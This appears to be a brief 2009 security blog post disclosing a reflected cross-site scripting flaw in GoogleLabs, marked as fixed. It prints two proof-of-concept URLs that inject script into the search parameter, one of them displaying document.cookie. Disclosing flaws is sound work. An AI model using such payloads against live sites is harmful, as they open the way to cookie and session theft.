New critical XSS bug in GoogleLabs
Jun 29, 2009 | Category: Google Vulns
Our friend iter has discovered a vulnerability in GoogleLabs, which could be exploited by malicious people to conduct XSS attacks and Cookie Grabbing Attack.
XSS:
http://www.googlelabs.com/?q=%3Cscript%3Ealert(%2Fxss%2F)%3C%2Fscript%3E&apps=Search+Labs
http://www.googlelabs.com/?q=%3Cscript%3Ealert(document.cookie)%3B%3C%2Fscript%3E&apps=Search+Labs
STATUS: 30 june 1:18 amFIXED
Related posts:
- New critical XSS bug in Google Code Search
- XSS google.com
- Due nuove vulnerabilita’ per Google
- Google Sites Reflective Cross-Site Scripting
- Three new XSS of Google: Knol, Books and Google!
